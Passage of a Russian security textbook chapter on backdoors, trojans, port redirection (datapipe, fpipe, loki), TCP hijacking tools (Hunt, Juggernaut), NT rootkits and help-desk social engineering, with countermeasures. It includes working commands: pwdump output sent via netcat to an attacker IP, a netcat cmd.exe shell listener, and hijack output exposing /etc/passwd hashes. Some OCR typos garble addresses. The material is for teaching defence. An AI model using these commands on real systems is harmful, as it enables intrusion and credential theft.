Одна из тайных задач программ типа "троянский конь" состоит в их маскировке под системный компонент регистрации в системе и захвате имен/паролей пользователей. Одним из примеров реализации такого подхода является библиотека FPNWCLNT.DLL, устанавливаемая на серверы NT, на которых требуется выполнять синхронизацию паролей с системами Novell NetWare. Эта библиотека перехватывает изменения паролей перед тем, как они будут зашифрованы и записаны в базу данных SAM, что позволяет службам NetWare получить пароли в удобочитаемом виде, обеспечивая тем самым единую форму регистрации.
В Internet был помещен код, позволяющий регистрировать факты изменения паролей и заносить сведения об этих изменениях (а не сами пароли) в файл C:\TEMP\PWDCHANGE. OUT. (Более подробную информацию и пример кода можно найти по адресу http://www.ntsecurity.net/security/passworddll.htm.) Хотя эта программа позволяет отслеживать только изменение паролей, ее легко модифицировать так, чтобы с ее помощью можно было захватывать и сами пароли в обычном текстовом формате.



BoSniffer



BoSniffer

Что может быть лучше, чем инфицирование какой-нибудь системы с помощью программы, предназначенной для поиска "потайных ходов"? Утилита BoSniffer, которая вроде бы призвана выявлять Back Orifice, на самом деле является замаскированной ВО. Так что соблюдайте осторожность при использовании подобных бесплатных средств... К счастью, эту программу можно удалить точно так же, как и обычный сервер ВО (см. разделы выше).



Datapipe



datapipe

Реализация перенаправления портов с помощью утилиты netcat и ручная настройка этого процесса может оказаться довольно хлопотным делом. В Internet можно найти несколько программ, которые предназначены специально для этих целей. В системе UNIX очень популярна утилита datapipe. С ее помощью взломщик может обеспечить перенаправление данных так, чтобы пакеты принимались через порт 65000 и переадресовывались в систему NT (порт 139). Далее, на своем компьютере злоумышленник может настроить систему для выполнения прямо противоположных действий: запустить утилиту datapipe для прослушивания порта 139 и перенаправления сообщений на порт 65000 целевой системы. Например, для нападения на систему NT (172. 29.11.100), расположенную позади брандмауэра, на взломанном узле (172.29.11.2) нужно выполнить следующую команду.

datapipe 65000 139 172.29.11.100

Затем на собственном компьютере взломщику необходимо запустить утилиту datapipe для прослушивания порта 139 и пересылки полученных данных на порт 65000 взломанного узла.

datapipe 139 65000 172.29.11.2

Теперь через брандмауэр открыт доступ к системе NT (172.23.11. ICO). На Рисунок 14.4 показан пример реализации перенаправления портов и продемонстрирована эффективность этого метода. С помощью такого подхода можно обойти брандмауэры с фильтрацией пакетов, пропускающие сообщения, предназначенные для портов с большими номерами.

ELiTeWrap



eLiTeWrap

Очень популярной программой типа "троянский конь" является eLiTeWrap. Она предназначена для "упаковки" многочисленных файлов в один исполняемый файл и последующей их распаковки либо запуска на удаленном узле. Как видно из следующего примера, в такую "обертку" можно поместить также сценарии, что позволяет взломщикам реализовать неповторимые атаки.

С:\nt\ew>elitewrap
eLiTeWrap 1.03 - (С) Tom "eLiTe"
Mclntyre tomSdundeecake.demon.со.uk
http://www.dundeecake.demon.co.uk/elitewrap
Stub size: 7712 bytes Enter name of output file: bad.exe
Operations: 1 - Pack only
2 - Pack and execute, visible, asynchronously
3 - Pack and execute, hidden, asynchronously
4 - Pack and execute, visible, synchronously
5 - Pack and execute, hidden, synchronously
6 - Execute only, visible, asynchronously
7 - Execute only, hidden, asynchronously
8 - Execute only, visible, synchronously
9 - Execute only, hidden, synchronously
Enter package file #1: c:\nt\pwdump.exe
Enter operation: 1 Enter package file#2:c:\nt\nc.exe
Enter operation: 1
Enter package file #3: c:\nt\ew\attack.bat
Enter operation: 7
Enter command line:
Enter package file #4:
All done :)

Теперь в распоряжении взломщика появился файл с именем bad.exe. При запуске из него будут извлечены утилиты pwdump.exe, netcat (nc.exe), а затем запустится командный файл attack.bat, в котором содержится простая команда, например pwdump i nc.exe -n 192.168.1.1 3000. В результате база данных SAM системы NT попадет на компьютер взломщика (192 .168 .1.1, на котором утилиту netcat следует настроить на прослушивание порта 3000).
Программу eLiTeWrap можно обнаружить, если из исполняемого файла взломщик забыл удалить ее сигнатуру. Следующая команда поиска позволит найти сигнатуру в любом файле .ЕХЕ.

С:\nt\ew>find "eLiTeWrap" bad.exe
---BAD.EXE
eLiTeWrap VI.03

Ключевое слово "eLiTeWrap" может измениться, поэтому при выявлении программы eLiTeWrap не следует полностью полагаться на этот признак.



Fpipe



fpipe

Утилита fpipe предназначена для передачи/перенаправления данных с порта TCP. Ее разработали авторы этой книги, занимающие ключевые позиции в компании Foundstone, Inc. Эта программа создает поток TCP. исходящий из выбранного пользователем порта. Она прекрасно подходит для перенаправления, представленного на Рисунок 14.4, и в системе Windows может послужить равноценной заменой программы datapipe, применимой только к UNIX.
Одна из особенностей утилиты fpipe, отличающих ее от других средств перенаправления портов, которые можно использовать в системе Windows (таких как rinetd), заключается в возможности задания исходного порта передаваемого трафика. Чтобы оценить "проникающую" способность этой программы, нужно попробовать "обмануть" с ее помощью брандмауэр или маршрутизатор, которые пропускают поток сообщений лишь с определенных портов (например, пакеты с TCP-порта 25 могут обрабатываться почтовым сервером). Обычно в протоколе TCP/IP исходным портам, используемым для клиентских соединений, назначаются большие номера, а соответствующий поток сообщений фильтруется брандмауэром. Однако может оказаться, что брандмауэр пропускает трафик DNS (а в большинстве случаев это именно так). Тогда с помощью утилиты fpipe можно обеспечить прохождение этого потока с определенного исходного порта. В такой ситуации брандмауэр рассматривает этот поток как разрешенный и пропускает его.



Hunt



Hunt

Утилита Hunt (ее можно найти на Web-узле http://www.cri.cz/-kra/index.html#HUNT) — это еще одна программа перехвата, отличающаяся стабильностью работы. Ее автор, Павел Крауз (Pavel Krauz) создал замечательную программу, которая наглядно демонстрирует недостатки протокола TCP.
Как и Juggernaut, программа Hunt позволяет взломщику легко следить за соединением и, таким образом, выведывать такую ценную информацию, как пароли. Как это происходит, видно из следующего примера.

--- Main Menu---rcvpkt 1498, free/alloc pkt 63/64 ---
1/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
> w
0) 172.29.11.207 [1038] -> 172.30.52.69 [23]
1) 172.29.11.207 [1039] -> 172.30.52.69 [23]
2) 172.29.11.207 [1040] -> 172.30.52.66 [23]
3) 172.29.11.207 [1043] -> 172.30.52.73 [23]
4} 172.29.11.207 [1045] -> 172.30.52.74 [23]
5) 172.29.11.207 [1047] -> 172.30.52.74 [23]
choose conn> 2
dump [s]rc/[d]st/[b]oth [b]> s
CTRL-C to break
uname -a su
hello
cat /etc/passwd

В процессе наблюдения за сеансом telnet в системе UNIX взломщик может получить ценную информацию, например (как видно из предыдущего примера) пароль пользователя root. Утилита Hunt предоставляет также возможность передачи команд на удаленный узел и их выполнения. Например, взломщик может передавать команды, а результат их выполнения будет отображаться только на его компьютере, что в значительной мере затрудняет его обнаружение.

---Main Menu--- rcvpkt 76, free/alloc pkt 63/64---
1/w/r) list/watch/reset connections u) host up tests
a)arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options x) exit > s
0) 172.29.11.207 [1517] --> 192.168.40.66
[23] choose conn>0
dump connection y/n [n]>n
dump [s]rc/[d]st/[b]oth [b]>
print src/dst same characters y/n [n]>
Enter the command string you wish executed or [cr]>
cat /etc/passwd cat /etc/passwd
root:rhayrl.AHfasd:0:1:Super-User:/:/sbin/sh daemon:x:
1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/
:adm:x:4:4:Admin:/var/adm:
Ip:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/
uucp/uucicc listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody:/: noaccess:x:60002:60002:
No Access User:/: nobody4:x:65534:65534:SunOS 4.x Nobody:/:
sm:a401ja8fFla.;:100:1::/export/home/sm:/bin/sh
[r]eset connection/[s]ynchronize/[n]one [r]>n
done

Как видно из приведенного примера, на удаленный узел может быть передана довольно коварная команда (cat /etc/passwd), а полученный результат отобразится лишь на компьютере взломщика.

Использование броузера Web для загрузки кода



Использование броузера Web для загрузки кода

Появление в мае 2000 года сценария ILOVEYOU, написанного на языке Visual Basic,  послужило свидетельством того, что есть и другие способы запуска исполняемого кода: это установка начальной страницы, загружаемой при запуске Web-броузера.
Сценарий ILOVEYOU модифицировал параметры Internet Explorer так, чтобы в качестве начальной использовалась страница, с которой загружался исполняемый файл с именем wiN-BUGSFlx.exe. Этот файл загружался с одного из четырех различных адресов URL, выбранных случайным образом на базе следующего общего шаблона.

http://www.skynet.net/-[переменная]/
[длинная_строка_с_ненужной_информацией]/
WIN-BUGSFlX.exe" 

Данный адрес URL содержался в параметре системного реестра HKSU\Software\ Microsoft\Internet Explorer\Main\-Start Page. Этот сценарий изменял также несколько параметров системного реестра, включая тот, который запускает загруженные двоичные файлы при перезагрузке системы (предполагалось, что к нему был указан путь), и тот, который удаляет первоначальную страницу запуска.

Juggernaut



Juggernaut

Одна из первых попыток применить на практике теорию захвата TCP была предпринята Майком Шиффманом (Mike Schiffman), в результате чего появился продукт Juggernaut (возможно, многие вспомнят Майка по его предыдущей программе. Появление этого бесплатного программного продукта оказалось революционным в том отношении, что с его помощью можно было "шпионить" за соединением TCP, а затем на некоторое время его захватывать. Это позволило взломщикам вводить команды в качестве легитимного пользователя. Например, если сетевые устройства используются в сети с множественным доступом, то взломщики могут отслеживать соединения, а затем перехватить сеанс telnet или ввести пароль для устройств Cisco.

Juggernaut
?) Help
0) Program information
1) Connection database
2) Spy on a connection
3) Reset a connection
4) Automated connection reset daemon
5) Simplex connection hijack
6) Interactive connection hijack
7) Packet assembly module
8) Souper sekret option number eight
9) Step Down

Одной из лучших возможностей программы Juggernaut является функция simplex connection hijack (захват симплексного соединения). Эта возможность позволяет взломщику посылать команды в локальную систему. Применение режима interactive connection hijack (захват интерактивного соединения) всегда было затруднено, поскольку из-за большого потока сообщений АСК связь часто прерывалась. Однако зачастую возможности захвата симплексного соединения оказывается вполне достаточно. Она позволяет взломщику отправить, например, команду enable password О hello, которая выполнится на удаленном узле и отменит шифрование пароля.

Контрмера не запускайте исполняемые



Контрмера: не запускайте исполняемые файлы, найденные в Internet!

Должно быть понятно и без слов (хотя на протяжении многих лет это повторяется много раз): нужно быть предельно осторожным по отношению к исполняемым файлам, загружаемым из Internet. Запуск файлов с удаленного сервера — это путь, ведущий прямо к катастрофе. Вместо этого лучше загрузить их на свой компьютер локально, проверить на наличие вирусов, по возможности проанализировать содержимое (например, файлов сценариев или командных файлов), а затем протестировать их на какой-нибудь второстепенной системе.



Контрмеры против "наборов отмычек"



Контрмеры против "наборов отмычек"

Если оказалось, что нельзя доверять даже командам Is или dir, значит, пришло время признать себя побежденным: создайте резервные копии важных данных (но только не двоичных файлов!), удалите все программное обеспечение, а затем переустановите его с проверенных носителей. Не следует особо надеяться на резервные копии, поскольку абсолютно неизвестно, когда именно взломщик пробрался в систему. После восстановления программное обеспечение также может оказаться "троянизированным".
Важно не забывать одно из золотых правил обеспечения безопасности и восстановления после сбоев: известные состояния (known states) и повторяемость (repeatability). Производственные системы зачастую должны быть быстро переустановлены, так что хорошо документированная и достаточно автоматизированная процедура установки позволит сэкономить много времени. Наличие проверенных носителей, готовых для выполнения процедуры восстановления, также достаточно важно. Если под рукой имеется компакт-диск с полностью сконфигурированным образом Web-сервера, то выигрыш во времени окажется еще более значительным. Другим хорошим приемом является документирование процесса настройки производственного режима эксплуатации, а не промежуточного режима, поскольку в процессе построения системы или ее обслуживания могут появиться изъяны в системе защиты (появление новых совместно используемых ресурсов и т.д.). Убедитесь, что в вашем распоряжении имеется контрольный список или автоматизированный сценарий возврата в производственный режим.
Подсчет контрольных сумм также оказывается хорошей защитой против использования "наборов отмычек", однако этот прием нужно применять к системе в исходном состоянии. Средства, подобные свободно распространяемой утилите MD5sum или программе Tripwire, которая рассматривалась выше, способны "снимать" образы файлов и уведомлять о нарушении их целостности при возникновении изменений. Перенаправление исполняемых файлов, выполняемое "набором отмычек" системы NT/2000, теоретически может нейтрализовать подсчет контрольных сумм. Однако поскольку код при этом не изменяется, но в то же время "захватывается" и передается через другую программу, то такой прецедент все же можно выявить.
В момент написания этой книги "набор отмычек" систем NT/2000 по-прежнему оставался на стадии альфа-версии и в основном предназначался для демонстрации наиболее важных особенностей, а не для реального применения. Так что его легко обнаружить. Просто проверьте наличие файлов deploy.exe и _root_.sys. Запуск и остановку этих средств можно выполнить с помощью команды net:

net start_root_ net stop_root_

He упускайте из вида такие наиболее опасные компоненты "наборов отмычек", как программы-анализаторы сетевых пакетов. Эти средства перехвата данных обладают особым коварством, поскольку способны "на лету" перехватывать сетевой трафик в процессе выполнения обычных операций.
При передаче информации по сети используйте механизмы шифрования, такие как сервер SSH (Secure Shell), протокол SSL (Secure Sockets Layer), шифрование почтовых сообщений POP (Pretty Good Privacy) или шифрование на уровне IP, которое обеспечивается при реализации виртуальных частных сетей на базе протокола IPSec (см. главу 9). Это надежные средства защиты от атак, направленных на перехват пакетов. Использование сетей с коммутируемой архитектурой и виртуальных локальных сетей может значительно снизить риск взлома, однако при использовании таких средств, как утилита dsniff, нельзя предоставить никаких гарантий, (см. главу 8).

Контрмеры против захвата соединений



Контрмеры против захвата соединений

Применение шифрующих коммуникационных протоколов, например IPSec или SSH, позволит значительно снизить или свести к нулю эффективность таких перехватов данных. Когда-то считалось, что технология сетей с коммутацией пакетов обеспечивает адекватную защиту от взломов подобного рода, но с тех пор средства сетевого мониторинга стали настолько хитроумными, что при определенных обстоятельствах они позволяют добиться желаемого результата (см. описание утилиты dsnif f в главе 8). Поэтому кодирование информации является самой лучшей защитой.



Контрмеры защита от запланированных заданий



Контрмеры: защита от запланированных заданий

Для того чтобы предотвратить эту атаку в системе NT, с использованием команды at проверьте список заданий на предмет наличия в нем несанкционированных заданий.

С:\> at
Status ID Day Time Command Line
---------------------------------
0 Each 1 12:00 AM net localgroup administrators joel /add

Затем с помощью следующей команды завершите подозрительные процессы с идентификатором 0.
C:\>at \\172.29.11.214 0 /delete
Альтернативный способ заключается в завершении работы службы с помощью команды net stop schedule, а затем запрещении ее запуска с помощью команды Control Panel>Services.
В системе UNIX представляющие опасность команды можно поискать в файлах crontab. Кроме того, проверьте права доступа, связанные с используемыми файлами и сценариями.

Контрмеры защита против Back Orifice (и других программ)



Контрмеры: защита против Back Orifice (и других программ)

Попытки использования Back Orifice (а также служб FTP, telnet, SMTP, HTTP и т.д.) легко обнаружить, используя бесплатную утилиту фирмы Network Flight Recorder, которая называется BackOfficer Friendly (http://www.nfr.net/products/bof/). Эта программа с графическим интерфейсом работает в режиме прослушивания портов и сообщает обо всех попытках соединения с системой. Ее самой замечательной особенностью является режим Fake Replies (ложные ответы). При его использовании программа будет отвечать на telnet-запросы и записывать имена и пароли, с помощью которых взломщики пытаются получить доступ. Как видно из следующего рисунка, программа выполняет большую работу по отслеживанию попыток проникновения в систему.



Контрмеры



Контрмеры

Если нет необходимости в синхронизации паролей между системами NT и NetWare, удалите файл FPNWCLNT.DLL из каталога %systemroot*\system32. Следует проверить также поддерево системного реестра HKEY_LOCAL_MACKINE\SYSTEM\CurrentControlSet\ Control\Lsa\Notificaion Packages (REG_MULTI_SZ) и удалить из него строку FPNWCLNT. Если эта динамически подключаемая библиотека все же необходима для работы в смешанной среде, сравните атрибуты используемого файла с атрибутами его проверенной копии (например, содержащейся на установочном компакт-диске) и убедитесь, что это исходная версия компании Microsoft. Если возникли какие-то сомнения, лучше восстановить данный файл с проверенного носителя.



Контрмеры



Контрмеры

Физическая безопасность всегда должна быть во главе списка защитных мероприятий любой информационной системы. Двери с надежными замками могут предотвратить атаки, направленные на копирование или клонирование системных данных.
Положение становится более серьезным при взломе, при котором злоумышленники пользуются приложением, ранее приобретенным самой компанией. Надежные приложения должны быть основаны на технологиях, которые никак не связаны с функционированием системных компонентов, обеспечивающих возможность использования списка процессов, файловой системы или других данных, которые могут быть легко воспроизведены с помощью средств создания образа системы. Если производители программного обеспечения не спешат делиться техническими подробностями и обосновывать надежность своих программ, лучше поискать какую-нибудь альтернативу.



Контрмеры



Контрмеры

В этой главе описаны самые разнообразные атаки. Некоторые из них выглядят безграничными в своих проявлениях, и кажется, что их очень трудно предотвратить (например, поиск информации в открытых источниках Internet). Хотя противодействовать всем атакам с применением социальной инженерии почти невозможно, мы постарались все же сформулировать некоторые рекомендации, которые могут оказаться эффективными.
 Ограничение утечки данных. Web-узлы, общедоступные базы данных, компании-регистраторы, "желтые страницы" и другие источники информации должны содержать лишь общие сведения, такие как корпоративные номера телефонов и официальные должности вместо имен сотрудников (например, "Администратор зоны" вместо "Джон Смит").  Выработка строгой политики выполнения процедур внутренней и внешней технической поддержки. Перед тем, как получить поддержку, каждый позвонивший должен сообщить свой идентификационный номер служащего или пройти идентификацию в любой другой форме. Сотрудники группы поддержки должны предоставлять помощь в строго определенных рамках и не должны отвечать на вопросы, связанные с используемыми внутренними технологиями. Нужно также определить те непредвиденные ситуации, в которых можно выходить за рамки этих требований.  Проявление особой бдительности в вопросах, касающихся удаленного доступа. Следует помнить, что подобная привилегия повышает производительность работы не только сотрудников фирмы, но и взломщиков. Советы, касающиеся обеспечения безопасности удаленных соединений можно найти в главе 9.  Тщательная настройка как исходящего, гак и входящего трафика брандмауэров и маршрутизаторов. Это поможет предотвратить, например, вовлечение пользователей в процесс совместного использования внешних файлов. Здесь отлично сработает хорошее правило очистки (последним правилом каждого списка управления доступом должен быть полный запрет, т.е. каждому пользователю запрещен доступ к файлам всех остальных)  Безопасное использование электронной почты. Если кто-нибудь сомневается в важности этого правила, ему стоит прочитать главу 16. Следует научиться прослеживать маршрут прохождения почтового сообщения с помощью анализа его заголовка (на Web-узле http://spamcop.net в разделе часто задаваемых вопросов можно найти информацию о настройке почтовых клиентских приложений так, чтобы заголовки отображались полностью).  Повышение уровня образованности сотрудников фирмы в вопросах обеспечения безопасности. Нужно выработать политику безопасности и распространить ее внутри всей организации. Для разработки такой политики в качестве отправной точки прекрасно подойдет документ RFC 2196, The Site Security Handbook. К нему следует добавить также RFC 2504, The Users' Security Handbook, с которым в настоящее время нужно познакомиться всем пользователям Internet. Оба документа можно найти на Web-узле http://www.rfc-editor.org.



Кто прослушивает порты



Кто прослушивает порты

Возможно, это очевидно, но никогда не стоит недооценивать мощь утилиты netstat. которая позволяет выявить факт прослушивания портов программами, которые аналогичны рассмотренным выше. Следующий пример демонстрирует полезность этого инструмента (для краткости приводится не весь листинг).

D:\Toolbox>netstat-an
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:54320 0.0.0.0:0 LISTENING
TCP 192.168.234.36:139 0.0.0.0:0 LISTENING
UDP 0.0.0.0:31337 *:*

Интересно, догадается ли читатель, что в приведенном фрагменте не согласуется с изложенными выше фактами?
Единственный недостаток программы netstat заключается в том, что она не сообщает о процессе, который прослушивает тот или иной порт. В системах Windows NT и 2000 с этой же задачей прекрасно справляется программа fport компании Foundstone, Inc.

D:\Toolbox>fport
fPort - Process port mapper Copyright (c) 2000, Foundstone, Inc.
http://www.foundstone.com
PID NAME TYPE PORT
222 IEXPLORE UDP 1033
224 OUTLOOK UDP 1107
224 OUTLOOK UDP 1108
224 OUTLOOK TCP 1105
224 OUTLOOK UDP 1106
224 OUTLOOK UDP 0
245 MAPISP32 UDP 0
266 nc TCP 2222

Из приведенного листинга видно, что порт с номером 2222 прослушивается утилитой netcat. А при использовании программы netstat можно было бы узнать только номер прослушиваемого порта.
Для сканирования больших сетей и поиска программ прослушивания лучше всего использовать программы-сканеры портов или сетевые средства, которые обсуждались в главе 2.
Какой бы метод обнаружения прослушиваемых портов не использовался, его результат будет довольно трудно интерпретировать, если вы не знаете, что именно нужно найти. В табл. 14.1 приведен перечень наиболее красноречивых признаков наличия программного обеспечения удаленного управления.
Если на каком-либо узле обнаружено прослушивание приведенных в таблице портов, то это верный признак того, что он подвергся нападению либо по злому умыслу хакера либо из-за неосторожности самого администратора. Следует проявлять бдительность также и по отношению к другим портам, которые на первый взгляд кажутся обычными. Во многих из перечисленных средств можно изменять номер прослушиваемого порта (см. таблицу). Чтобы убедиться, что доступ к этим портам из Internet ограничен, нужно использовать устройства обеспечения безопасности на границе сети.

Loki



loki

Программы loki и lokid, кратко рассмотренные в главе 11. предоставляют взломщикам простой механизм повторного получения доступа к взломанной системе, даже если она расположена позади брандмауэра. Оригинальность этих программ заключается в том, что клиент (loki) помещает команды взломщика (в основном это пакеты IP) в заголовки ICMP или UDP и отсылает их серверу (lokid), который выполняет их и возвращает результаты. Поскольку многие брандмауэры допускают прохождение на сервер пакетов ICMP и UDP, то инициированный взломщиком трафик зачастую без проблем проходит через брандмауэр. Сервер lokid запускается с помощью следующей команды.
lokid -p -i v 1
Затем для запуска клиента нужно ввести такую команду. loki -d 172.29.11.191 -p -i -v 1 -t 3
Используемые совместно, утилиты loki и lokid обеспечивают постоянный "потайной ход" в систему, иногда даже через брандмауэр.



"Наборы отмычек"



"Наборы отмычек"

Что произойдет, если под контролем взломщика окажется сам код операционной системы? Предпосылки такого подхода появились еще в те времена, когда компиляция ядра UNIX иногда выполнялась еженедельно, если система плохо была настроена или находилась на началъном этапе установки. Естественно, что наборы программ, которые вместо обычных двоичных файлов операционной системы встраивают компоненты типа "троянский конь", получили название "наборов отмычек". Такие средства обеспечивают самую большую дискредитацию взламываемого компьютера. В главе 8 были описаны "наборы отмычек", предназначенные для системы UNIX, которые обычно состоят из четырех групп инструментов, адаптированных под конкретную платформу и версию операционной системы: (1) программы типа "троянский конь", например такие, как измененные версии login, netstat и ps; (2) программы, предназначенные для создания "потайных ходов", например вставки в файл inetd; (3) программы перехвата потока данных в сети; (4) программы очистки системных журналов.
Существует огромное множество "наборов отмычек" для системы UNIX. Для того чтобы убедиться в этом, достаточно заглянуть только на один Web-узел, находящийся по адресу http://packetstorm.security.com/UNIX/penetration/rootkits/. Еще несколько подобных наборов можно найти на этом же Web-узле по адресу /UNIX/misc. По-видимому, одним из наиболее известных является "набор отмычек" для системы Linux версии 5, в который входит несколько модифицированных версий основных утилит, включая su, ssh и несколько анализаторов сетевых пакетов.
Чтобы не отставать, операционная система Windows NT/2000 в 1999 году тоже "обзавелась" своим собственным набором аналогичных средств. Это случилось благодаря группе хакеров Грега Хогланда (Greg Hoglund). Грег застал врасплох сообщество Windows, продемонстрировав рабочий прототип таких инструментов, который способен выполнять сокрытие параметров системного реестра и "подмену" исполняемых файлов. Этот набор можно использовать в исполняемых файлах типа "троянский конь" без изменения их содержимого. Все эти трюки основываются на использовании перехвата функций (function hooking). Таким образом можно "модифицировать" ядро NT, в результате чего будут захвачены системные вызовы. С помощью "набора отмычек" можно скрыть процесс, параметр системного реестра или файл, а также перенаправить перехваченный вызов функциям программ типа "троянский конь". Полученный результат способен превзойти ожидания от внедрения обычных "троянских коней": пользователь не может быть уверен даже в целостности исполняемого кода.



Необразованный пользователь и "справочный стол"



Необразованный пользователь и "справочный стол"

Однажды авторы, проявив достаточную настойчивость, просмотрели списки контактных данных сотрудников компании, адреса электронной почты и номера телефонов внутренней телефонной сети одной компании. Все это оказалось возможным благодаря обращению к "справочному столу" этой компании.
Сначала мы собрали информацию о сотрудниках этой компании, используя некоторые из методов поиска в открытых источниках (см. главу 1). Очень ценные данные посчастливилось раздобыть у компании-регистратора доменных имен Network Solutions по адресу http://www.networksolutions.com. Здесь были обнаружены данные директора отдела информационных технологий.
Имени этого человека и его телефонного номера, полученных в компании-регистраторе, оказалось вполне достаточно, чтобы приступить к атаке, которую можно назвать "удаленный пользователь, попавший в затруднительное положение". Для прикрытия мы воспользовались следующей легендой: у директора отдела информационных технологий, который пребывает в командировке по делам фирмы, возникли трудности. Ему срочно нужно получить некоторые файлы Power Point для презентации, которая состоится завтра. С помощью такого трюка от служащих "справочного стола" нам удалось узнать версию клиентского программного обеспечения удаленного доступа (которую можно бесплатно получить на Web-узле производителя), ее конфигурационные параметры, бесплатный номер телефона для дозвона на сервер удаленного доступа и учетную запись для регистрации на этом сервере. Установив первоначальный доступ, мы перезвонили несколько часов спустя (выдав себя за того же пользователя!) и объяснили, что забыли пароль почтовой учетной записи. Пароль был восстановлен. Теперь можно было отправлять почту, пользуясь внутренним почтовым ящиком компании.
Затем с использованием нескольких звонков удалось получить доступ к внутренней телефонной сети компании. Код доступа к этой сети дал возможность пользоваться исходящими телефонными звонками в любую точку земного шара за счет компании. Позже было установлено, что сервер удаленного доступа имеет пустой пароль в учетной записи администратора, к которой можно получить доступ с помощью полученного ранее номера бесплатного дозвона. Нет необходимости говорить, что в течение нескольких часов был установлен полный контроль над сетью этой организации (причем большая часть этого времени прошла в ожидании ответных звонков из "справочного стола"). И все это было проделано только с помощью социальной инженерии.



Netcat



netcat

В этой книге ранее уже упоминался "швейцарский армейский нож", утилита netcat (ее версии как для системы NT, так и для UNIX можно найти по адресу http.//www. 10pht.com/~weld/netcat/index.html). С помощью этой программы можно незаметно прослушивать нужный порт, выполняя заранее определенные действия после установки удаленного соединения с системой. Утилита netcat окажется чрезвычайно мощным средством удаленного управления, если эти действия будут направлены на запуск командной оболочки. Затем злоумышленники могут подключиться с помощью netcat к заданному порту и получить в свое распоряжение командную оболочку. Команды запуска netcat в режиме прослушивания обычно скрытно помещаются в какой-нибудь загрузочный файл (см. предыдущий раздел), поэтому эта программа прослушивания портов будет активизироваться при каждой перезагрузке системы. Пример такого "потайного хода" показан на Рисунок 14.2, на котором виден параметр системного реестра Windows NT, приводящий к запуску утилиты netcat в процессе загрузки системы.

Сообразительные взломщики обязательно замаскируют своего "троянского коня" netcat. Для этого можно дать программе какое-нибудь нейтральное имя, например ddedll32.exe, или такое, что администратор дважды подумает, прежде чем удалит такой файл.

Параметр -L утилиты netcat дает возможность возобновить работу при многократном нарушении связи; при использовании ~d программа netcat запускается в скрытом режиме (без интерактивной консоли); а -е позволяет задать запускаемую программу, в данном случае командный интерпретатор NT cmd.exe. Параметр -р определяет прослушиваемый порт (в данном примере 8080). Версию программы netcat для системы UNIX можно легко настроить так. чтобы запускалась командная оболочка /bin/sh, что приведет к тому же результату. После этого взломщику останется только соединиться с портом, который прослушивается утилитой netcat, и получить в свое распоряжение удаленную командную оболочку.

Novell



Novell

В системе NetWare типичным является создание "осиротевших" объектов, т.е. создание, например, контейнера с одним пользователем, а затем передача этому новому пользователю прав опекунства над родительским контейнером. Если взломщик имеет возможность постоянно регистрироваться в дереве NDS, то эту ситуацию не сможет исправить даже администратор. Более подробную информацию о "потайных ходах" системы NetWare можно найти в главе 7.



Novell



Novell

Файлы startup.ncf и autexec.ncf системы NetWare позволяют определить, какие программы, параметры и загружаемые модули системы NetWare (NLM — NetWare Loadable Module) будут запущены при загрузке сервера. Взломщики могут отредактировать один или несколько файлов . NCF, которые вызываются из этих загрузочных файлов (например, файл Idremote.ncf) и, таким образом, создать "потайной ход", например запустить хакерскую программу rconsole. Поэтому периодически проверяйте каждый загрузочный файл, чтобы не упустить момент создания взломщиками "потайного хода".
Загрузочные файлы — очень удобное, но далеко не единственное средство создания "потайного хода". Для этого подходят также очереди запланированных заданий. В системе Windows NT эта возможность обеспечивается службой Schedule, доступ к которой можно получить с помощью команды AT. Запланировав регулярный запуск требуемой программы, взломщики могут быть уверены, что нужная им служба будет всегда запущена и готова к работе.





NT/2000

В Windows NT/ 2000 привилегированные локальные учетные записи легко создать с помощью следующих команд.

net user <имя_пользователя><пароль>/ADD
net localgrcup <имя_группы><имя_пользователя>/ADD

С помощью команды net group можно добавить пользователя в глобальную группу. Вспомните, что в системе NT есть отличие между локальной (содержащейся только в локальной базе данных SAM) и глобальной (из доменной базы данных SAM) группами. Встроенные локачьные группы обычно предоставляют более широкие возможности, поскольку с их помощью можно предоставлять различный уровень доступа к системным ресурсам. В операционную систему Win 2000 добавлены новые универсальные группы и локальные группы домена. По сути, эти понятия являются метадоменными, так как они могут быть членами любого домена, принадлежащего дереву или лесу.
Вывести список всех членов основных административных групп так же легко, как и добавить в них новую учетную запись. Как показано в следующем примере, в котором на экран выводится список членов группы Windows 2000 Enterprise Admins (администраторы предприятия), это можно сделать с помощью команды net [local] group.
C:\>net group "Enterprise Admins"
Group name Enterprise Admins
Comment Disighated administrators of the enterprise
Members
------------
Administrator
The command completed successfully.

В первую очередь нужно просмотреть встроенные группы: Administrators, Domain Admins, Enterprise Admins и Schema Admins (на контроллерах домена), а также различные локальные группы операторов.

В операционной системе Windows NT



NT/2000

В операционной системе Windows NT в первую очередь нужно проверить различные папки, находящиеся в папке Startup: %systemroot%\profiles\%username%\ start menu\programs\startup (папка All Users будет использоваться независимо от того, кто из пользователей зарегистрировался интерактивно). Кроме того, для запуска программ типа "троянский конь" или для установки "потайного хода" при каждом запуске системы взломщики могут воспользоваться параметрами системного реестра. Нужно проверить следующие параметры
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
 ...Run  ...RunOnce  ...RunOnceEx  ...RunServices  ...AeDebug   ...Winlogon В этих параметрах хранятся данные многих из потенциально опасных программ. Например, программа Back Orifice 2000 (ВО2К; см. ниже) устанавливается как служба удаленного администрирования (Remote Administrator Service) в параметре RunServices.
